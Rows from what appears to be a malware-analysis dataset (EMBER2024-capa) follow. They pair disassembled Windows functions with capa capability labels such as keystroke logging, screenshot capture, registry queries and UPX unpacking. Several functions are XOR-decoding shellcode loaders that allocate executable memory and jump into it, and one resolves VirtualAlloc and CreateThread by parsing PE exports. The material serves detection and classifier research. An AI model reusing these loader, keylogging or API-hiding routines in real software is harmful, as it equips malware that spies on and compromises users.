joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429578
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x4295a9
je 0x429603
sub eax, 7
je 0x4295ca
dec eax
je 0x4295f4
sub eax, 0x17
je 0x4296a8
jmp 0x4296e6
add eax, 0xffffff00
sub eax, 9
jb 0x429694
add eax, 0xffffff09
sub eax, 0xb
jb 0x42965c
jmp 0x4296e6
mov eax, ebx
call fcn.004178ac
mov edi, eax
test edi, edi
je 0x429746
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xd4]
test al, al
je 0x42974f
jmp 0x429746
test byte [ebx + 0x44], 0x20
jne 0x42974f
jmp 0x429746
mov edx, esi
mov eax, ebx
call fcn.00426c44
cmp dword [esi + 0xc], 0xffffffff
jne 0x42974f
push 0
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.00438cc8
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00425790
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.00429450
test eax, eax
je 0x42974f
mov dword [esi + 0xc], 1
jmp 0x42974f
mov edx, esi
mov eax, ebx
call fcn.004294e4
test al, al
je 0x429746
cmp dword [esi + 0xc], 0
jne 0x42974f
mov eax, dword [esi + 8]
push eax
mov eax, dword [esi + 4]
push eax
mov eax, dword [esi]
push eax
mov eax, ebx
call fcn.0042bbe0
push eax
call sub.USER32.DLL_DefWindowProcA
jmp 0x42974f
mov eax, ebx
call fcn.004262e0
test al, al
jne 0x42974f
jmp 0x429746
mov eax, ebx
call fcn.0042bbe0
mov edi, eax
call sub.USER32.DLL_GetCapture
cmp edi, eax
jne 0x429746
cmp dword [0x450da4], 0
je 0x429746
mov eax, dword [0x450da4]
cmp ebx, dword [eax + 0x24]
jne 0x429746
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x450da4]
call fcn.00426b78
jmp 0x429746
mov eax, dword [0x454b04]
cmp byte [eax + 0x20], 0
je 0x429746
mov eax, dword [0x454b04]
cmp dword [eax + 0x1c], 0
je 0x429746
mov eax, dword [esi]
mov edx, dword [0x454b04]
cmp eax, dword [edx + 0x1c]
jne 0x429746
lea eax, [ebp - 0x110]
push eax
call sub.USER32.DLL_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.004177f0
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb7
call fcn.00441c58
jmp 0x42974f
mov edx, esi
mov eax, ebx
call fcn.00426c44
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429c10
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x429c2c
cmp dword [esi + 4], 0
je 0x429c59
test byte [ebx + 0x45], 1
jne 0x429c4b
mov eax, ebx
call fcn.00428bb4
test eax, eax
jne 0x429c4b
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x429d69
mov edx, esi
mov eax, ebx
call fcn.00429888
jmp 0x429d69
push 0
call sub.USER32.DLL_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.GDI32.DLL_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.USER32.DLL_ReleaseDC
push 0
call sub.GDI32.DLL_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.GDI32.DLL_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x429d62
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0042bbe0
push eax
call sub.USER32.DLL_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00426b78
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00429c10
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.GDI32.DLL_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0042bbe0
push eax
call sub.USER32.DLL_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x429d69
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.GDI32.DLL_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.GDI32.DLL_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.GDI32.DLL_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43cf70
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x43cfa9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004425bc
jmp 0x43cfb2
mov eax, ebx
mov edx, esi
call fcn.00442528
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x43cfbc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x43cfdd
mov al, byte [esp]
jmp 0x43cfdf
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4418f4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4510e0]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x44198c
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x44196c
xor eax, eax
push ebp
push 0x441965
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4419a8
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44196c
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
mov ax, word [0x4510e0]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4510e0], ax
mov esp, ebp
pop ebp
ret
Function at 0x443a28
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x443be4
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x443a89
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x443c00
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x443afb
xor eax, eax
push ebp
push 0x443af4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00443880
push eax
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x443add
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x443c20
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x443afb
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x443bdc
cmp byte [ebp - 0xd], 0
jne 0x443b3d
cmp byte [ebp - 0x12], 0
je 0x443bdc
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x443b56
dec ebx
cmp byte [ebx], 0x2e
je 0x443b65
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x443b55
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x443bdc
inc ebx
cmp byte [ebp - 0x12], 0
je 0x443b92
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x443bdc
cmp byte [ebp - 0xd], 0
je 0x443bdc
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x443bdc
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x443fd0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push ebp
push 0x4440b8
push dword fs:[eax]
mov dword fs:[eax], esp
sub dword [0x45519c], 1
jae 0x4440aa
xor eax, eax
mov dword [0x454da8], eax
xor eax, eax
mov dword [0x454db0], eax
xor eax, eax
mov dword [0x454db4], eax
mov byte [0x454dba], 2
mov byte [0x454dbb], 2
mov byte [0x454dbc], 3
mov word [0x455164], 0
mov word [0x455174], 1
mov word [0x455184], 0xa
mov dword [0x45518c], 0x80020004
mov dword [0x455158], 0x4431bc
mov dword [0x45515c], 0x4431b4
mov dword [0x455160], 0x4431bc
call fcn.004418c4
test al, al
je 0x444069
call fcn.004418f4
call fcn.004419b8
mov eax, 0x454dc0
mov edx, 0x4440c4
call fcn.0043f1da
mov eax, 0x454f8c
mov edx, 0x4440c4
call fcn.0043f1da
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [0x454da0], eax
call fcn.00440140
mov dword [0x454d9c], eax
call sub.KERNEL32.DLL_GetCurrentThreadId
mov dword [0x454d94], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4440bf
ret

Function at 0x4489e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x448a42
call fcn.00448990
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00444b8c
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00444b8c
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x448ac0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x452dc4], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x448b9a
cmp dword [0x452dc0], 0
jne 0x448b9a
cmp dword [0x452fa4], 0
je 0x448b54
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00448890
add esp, 8
mov ebx, eax
test eax, eax
jne 0x448b3a
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00448890
add esp, 8
mov ebx, eax
test eax, eax
jne 0x448b3a
lea ebx, [ebp - 0x84]
jmp 0x448b3b
inc ebx
call fcn.00448a7c
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x448bd5
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x452dc8
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00444b8c
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x452dcb
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x448bd5
cmp dword [0x452dc0], 0
je 0x448bb4
cmp dword [0x452dc0], 0xffffffff
je 0x448bd5
push esi
call dword [0x452dc0]
pop ecx
mov eax, dword [0x452dc4]
test eax, eax
je 0x448bd5
cmp dword [0x452dc4], 0xffffffff
je 0x448bd5
cmp byte [eax], 0
je 0x448bd5
push esi
push eax
call fcn.004489e0
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000412c
Capabilities:
Set file attributes

Disassembly:
push edx
push ecx
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
setne al
ret

Function at 0x100045e5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x100045f3
or eax, eax
ret

Function at 0x1000df9d
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x100d01b8
call fcn.100cece0
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.10001da4
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.10001da4
mov eax, dword [edi + 0x18]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x20]
mov dword [esi + 0x20], eax
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov al, byte [edi + 0x2c]
mov byte [esi + 0x2c], al
mov al, byte [edi + 0x2d]
mov byte [esi + 0x2d], al
mov al, byte [edi + 0x2e]
mov byte [esi + 0x2e], al
mov al, byte [edi + 0x2f]
mov byte [esi + 0x2f], al
mov al, byte [edi + 0x30]
mov byte [esi + 0x30], al
mov al, byte [edi + 0x31]
mov byte [esi + 0x31], al
mov ax, word [edi + 0x32]
mov word [esi + 0x32], ax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x3c], eax
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x100137a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100137b7
pop dword [ebp - 0x20]
mov eax, 0x100137b7
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x486de
push 0
mov eax, 0x1753d89e
add eax, 0xf8b9b78a
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x5e9172c6
add ecx, 0xa16ee71f
mov edx, eax
mov edi, 0x2ef9c0c4
add edi, 0xe1185d3c
add edi, dword [ebp - 0x20]
mov esi, 0x6200f5eb
mov ebx, dword [edi]
xor dword [ebp - 0x10], ebx
add ebx, esi
xor dword [ebp - 0x10], 0xaad1c980
mov dword [edx], ebx
xor dword [ebp - 8], 0x31e072ca
add edx, 0x880a5ab6
add edx, 0x77f5a54e
add edi, 0xf499b618
sub edi, 0xf499b614
loop 0x1001380b
add eax, 0x6036305
add eax, 0xf9fdf762
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.004082e9
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.004082e9
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.004082e9
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.004082e9
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.004082e9
mov dword [0x41203c], eax
call fcn.004082e9
test eax, eax
jge 0x402550
push 8
call fcn.004082e9
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.004082e9
pop ecx
push 1
call fcn.004082e9
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.004082e9
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.004082e9
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.004082e9
jmp 0x402495

Function at 0x4082e9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x4082f8
pop dword [ebp - 0x34]
mov eax, 0x56ab5fc2
add eax, 0xa9952336
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x375e6
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x408d
xor ebx, ebx
add ebx, eax
mov edx, 0x6b2181ce
sub edx, 0x6ae0460a
add edx, dword [ebp - 0x34]
mov edi, 0x2be48baf
add edi, 0xde8aa3cd
sub dword [ebp - 0x14], eax
mov esi, dword [edx]
add dword [ebp - 8], ebx
add esi, edi
xor dword [ebp - 0x24], eax
mov dword [ebx], esi
xor dword [ebp - 4], 0xbdc25585
add ebx, 0xa9670e4e
sub ebx, 0xa9670e4a
add edx, 0x8a2f139d
add edx, 0x75d0ec67
loop 0x40834e
add eax, 0xf507
xor ebx, ebx
add ebx, eax
add eax, 0x6d761d69
sub eax, 0x6d761d64
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401034
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [ecx + edx + 0x20]
add ecx, edx
add eax, edx
mov dword [ebp + 8], eax
mov esi, dword [ecx + 0x24]
mov edi, dword [ecx + 0x1c]
add esi, edx
add edi, edx
xor ebx, ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
add eax, edx
cmp dword [ebp + 0xc], 1
jne 0x4010bb
cmp byte [eax], 0x43
jne 0x401108
cmp byte [eax + 1], 0x72
jne 0x401108
cmp byte [eax + 2], 0x65
jne 0x401108
cmp byte [eax + 3], 0x61
jne 0x401108
cmp byte [eax + 4], 0x74
jne 0x401108
cmp byte [eax + 5], 0x65
jne 0x401108
cmp byte [eax + 6], 0x54
jne 0x401108
cmp byte [eax + 7], 0x68
jne 0x401108
cmp byte [eax + 8], 0x72
jne 0x401108
cmp byte [eax + 9], 0x65
jne 0x401108
cmp byte [eax + 0xa], 0x61
jne 0x401108
cmp byte [eax + 0xb], 0x64
jmp 0x401106
cmp dword [ebp + 0xc], 4
jne 0x401108
cmp byte [eax], 0x56
jne 0x401108
cmp byte [eax + 1], 0x69
jne 0x401108
cmp byte [eax + 2], 0x72
jne 0x401108
cmp byte [eax + 3], 0x74
jne 0x401108
cmp byte [eax + 4], 0x75
jne 0x401108
cmp byte [eax + 5], 0x61
jne 0x401108
cmp byte [eax + 6], 0x6c
jne 0x401108
cmp byte [eax + 7], 0x41
jne 0x401108
cmp byte [eax + 8], 0x6c
jne 0x401108
cmp byte [eax + 9], 0x6c
jne 0x401108
cmp byte [eax + 0xa], 0x6f
jne 0x401108
cmp byte [eax + 0xb], 0x63
je 0x401119
mov eax, dword [ecx + 0x18]
add dword [ebp + 8], 4
inc ebx
dec eax
cmp ebx, eax
jbe 0x40105b
movzx eax, word [esi + ebx*2]
mov eax, dword [edi + eax*4]
pop edi
pop esi
add eax, edx
pop ebx
pop ebp
ret

Function at 0x40fdb4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x40fdf6
call fcn.00412a89
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x40fdf6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x40fded
xor eax, eax
jmp 0x40fdfe
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0040fe04
pop edi
pop esi
pop ebx
ret 4

Function at 0x413165
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x413193
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4131b1
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004130cb
jmp 0x4131b1
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4131b1
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004130cb
test edi, edi
mov eax, edi
jne 0x41319b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x41d4a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11000]
push edi
jmp 0x41d4ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41d4c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41d4b0
mov eax, 1
add ebx, ebx
jne 0x41d4d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41d4c8
jne 0x41d4e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41d4c8
xor ecx, ecx
sub eax, 3
jb 0x41d4f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41d56a
mov ebp, eax
add ebx, ebx
jne 0x41d503
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41d510
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41d534
inc ecx
add ebx, ebx
jne 0x41d520
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41d515
jne 0x41d531
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41d515
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41d554
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41d545
jmp 0x41d4b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41d554
add edi, ecx
jmp 0x41d4b6
pop esi
mov edi, esi
mov ecx, 0x7c2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41d572
cmp byte [edi], 7
jne 0x41d572
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41d577
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d5ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1e348]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1e41c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41d5a4
mov ecx, edi
jns 0x41d5d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1e424]
or eax, eax
je 0x41d5e9
mov dword [ebx], eax
add ebx, 4
jmp 0x41d5c1
call dword [esi + 0x1e420]
mov ebp, dword [esi + 0x1e428]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41d623
sub esp, 0xffffff80
jmp 0x4114b2